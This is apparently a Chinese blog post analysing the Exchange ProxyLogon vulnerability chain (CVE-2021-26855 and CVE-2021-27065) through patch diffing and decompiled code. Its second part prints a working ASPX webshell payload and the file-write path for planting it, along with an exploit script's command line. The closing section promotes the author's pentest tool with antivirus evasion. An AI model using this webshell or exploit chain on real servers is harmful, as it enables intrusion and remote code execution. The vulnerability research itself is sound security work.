
Exchange ProxyLogon 分析

一 前言

最近需要写一篇漏洞研究报告, 刚好不久之前新出了ProxyShell, 马上还会有第四部分的攻击面, 于是决定写ProxyLogon的研究, 后面再慢慢把ProxyOracle和ProxyShell也写一下。
这个系列漏洞, 国内分析文章少之又少, 全都在发poc, 发预警, 国外我搜了一两页也没发现什么值得看的, 当然国外在一些博客找到了一些相对具体的说明。
为了节省篇幅, 本文省略Windows虚拟机和exchange的安装步骤。

二 环境与版本

虚拟机: Windows server 2012 R2
邮件系统: Exchange server 2016
所用工具: dnspy, JustAssembly
利用漏洞: CVE-2021–26855, CVE-2021–27065
本文所需要用到的所有文件都已打包好, 后台回复exchange proxylogon即可获得下载地址 (不包含Windows server 2012 虚拟机镜像)
三 Exchange体系结构

Exchange 使用一个构建基块体系结构,提供电子邮件服务, 结构如下图:

不同的Exchange服务器之间的通信发生在协议层, 且不允许跨层通信, 协议层的通信如下:

Exchange 邮箱服务器上的客户端访问服务 (也就是CAS) 负责接受所有形式的客户端连接。CAS(前端) 将这些连接代理到目标邮箱服务器上的后端服务。客户端不直接连接到后端服务, 结构如下:

图中我用红色框起来的部分就是攻击面所在位置。
四 ProxyLogon攻击链

CVE-2021–26855漏洞在今年一月份被报告, 三月份发布补丁, 经过其他安全研究人员分析, 某APT组织基于该SSRF漏洞以及EWS和两个未知漏洞来完成了攻击链, 本文主要分析CVE-2021–26855 - CVE-2021–27065攻击链。

Orange's Blog

Microsoft's Blog
五 CVE-2021–26855

差异验证:
对比补丁前后二进制文件之间的差异(diffing),找到发生变化的代码块, 以此来确定漏洞点。
在Windows更新目录中找到对应的文件下载得到cab格式文件, 解压后得到msp文件, 再进行解压拿到我们想要的数据。

通过差异对比, 我们发现两个文件夹中 Miscrosoft.Exchange.FrontEndProxy.dll 文件里发生了一些变化, 而恰好这个dll文件是重要的用于前端代理到后端的文件。

具体翻一下可以发现, BEResourceRequestHandler 类中新增了ShouldBackendRequestAnonymous ⽅法, 我们着重看一下这个类

进去看一下

我们用dnspy对该dll文件反编译然后来到 BEResourceRequestHandler 类

搞清楚这个类在哪里使用了, 跟进一下, 发现 BEResourceRequestHandler 在SelectHandlerForUnauthenticatedRequest 中被实例化

要成功执行实例化需要BEResourceRequestHandler.CanHandle(httpContext.Request)为true
具体代码如下:
else if (BEResourceRequestHandler.CanHandle(httpContext.Request)){httpHandler = new BEResourceRequestHandler();}
用到CanHandle 函数, 继续跟进 CanHandle 函数

这里有两个函数, 先跟进GetBEResouceCookie

跟进BEResource

返回到CanHandle 函数去跟进 IsResourceRequest

可以看到, CanHandle 函数要返回true, 需要满足两个条件
(1) Cookie中需要有X-BEResource参数;
(2) 请求的⽂件后缀应为规定的⽂件类型;
(这里我看到很多国内外文章和资料在说是需要静态资源的, 比如js这一类, 但是我在实际的审计中发现exe, bat这些应该也是可以的, 后面在实际测验中也验证了这一点。)
我们再去跟一下SelectHandlerForUnauthenticatedRequest 看看它在哪里被调用

这里可以看到是在OnPostAuthorizeInternal 中调用, 实例化给了 httpHandler
我们回到BEResourceRequestHandler ,可以看到它继承自ProxyRequestHandler

回到SelectHandlerForUnauthenticatedRequest 被调用的位置, 可以看到, 这时它应该跳转到102行执行, 也就是
((ProxyRequestHandler)httpHandler).Run(context);

然后我裂开了, 到这里不知道怎么分析了
回到 BEResourceRequestHandler , 这里跟一下获取到的cookie

这里可以看到由BackEndServer去处理

接着跟过去

这里去判断接收到的fqdn和version是否为空或者0, 然后把值赋给这两个变量, 下面是接收到之后按照"~"符号分割为数组, 分别就是fqdn和version的值。
查看引用fqdn变量的地方

结果很多, 有几十个, 这里有点复杂, 我没啥骚知识, 不想一个一个去跟, 先把那些不是被调用的, 名字不沾边的排除掉, 然后在剩下的一个一个看一下

这里在GetTargetBackendServerUrl中被调用, 往上看可以看到该函数是在BeginProxyRequest中被使用

在BeginProxyRequest调用GetTargetBackendServerUrl之后, GetTargetBackendServerUrl函数中会去调用GetClientUrlForProxy

GetClientUrlForProxy函数来构造要请求的url

当完成构造之后, 继续往下执行, 会执行CreateServerRequest函数去向后端发起请求, 我们跟进这个函数, 发现在最开始会执行PrepareServerRequest函数

继续跟进PrepareServerRequest

其中ShouldBlockCurrentOAuthRequest函数会去进行身份验证
根据一位师傅的说法, 当有请求调用BEResourceRequestHandler时, ShouldBackendRequestBeAnonymous()就会被调用 (这里我没搞懂)
那我们跟一下ShouldBackendRequestBeAnonymous

所以这里会执行else if的第二分支, 也就是这一部分的最后一个else, 发送数据和接受数据

六 CVE-2021–27065

这一部分就简单了, 直接放步骤图吧
"服务器" --> "虚拟目录" --> "OAB"

外部url填写如下payload:
http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["ecat"],"unsafe");}</script>
重置OAB

填写如下payload:
\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\ecat.aspx
成功写入

这里我用我朋友的exp演示一下两个漏洞的组合利用 (exp确实好用, python3开发, 地址放在参考文献, 大家可以点个star)
命令:
python exchange.py --host=192.168.20.131 --mail=administrator@exchange.com

贴一下exp的一些关键部分 (payload)



关于第三张图, 这个格式可以在MSDN里面找到具体说明
参考文献:
(1) https://jishuin.proginn.com/p/763bfbd5ac72
(2) https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
(3) https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf
(4) https://docs.microsoft.com/zh-cn/exchange/exchange-server?view=exchserver-2019
(5) https://github.com/p0wershe11/ProxyLogon
七 结语

其实已经省略了很多内容没有写, 因为我感觉写的有点乱, 确实有的地方我自己也是乱的, 平时都是做渗透, 像打点, 内网, 免杀, 审计之类的, 所以文章可能难免会出现错误或者不足的地方, 希望各位师傅发现后可以向我提出来, 欢迎大家指教, 交流学习。
我的公众号我一直是当随记来写的, 我不会为了粉丝去做一些没有意义的事情, 很多好文章已经有很多公众号在转载了, 这个公众号不会转载任何文章, 也不会翻译任何文章, 所有文章都会是原创, 也不会接任何广告。有朋友提出来说到处都是培训班, 让我慢慢养韭菜, 回头也可以赚一波快钱, 这个还是算了吧, 不误人子弟了。
总之, 我希望这个公众号是一个纯净的地方, 每个点进来的人目之所及都是我一字一句敲出来的东西, 饿猫不敢自称干货, 但会有一条底线, 不会出现劣质内容, 不会拿一个工具然后花几分钟写一个所谓漏洞复现的"工具使用教程"文章来敷衍大家。
这就是我的初衷。
八 自研工具

很多朋友都知道我最近在写小东西, 不是什么很吊的东西, 但是确实在渗透过程中方便了一些, 目前功能还在开发, 预测会有两个版本。一个公开版, 一个圈子版, 大部分来说应该都差不多, 差别主要体现在圈子版的免杀会强不少, 也可能会更新一些小0day。
这里放一个截图


这是第一版的第一部分, 后续会增加更多的功能来满足一些渗透过程的需要, 包括界面等等也会有所优化。目前公开版的免杀内置了三种方式, 国内主流全过, 圈子版主要会针对一些卡巴斯基全方位这种 (圈子版大概率会鸽哈哈)
最后, 欢迎大家加好友一起学习。

点个在看你最好看





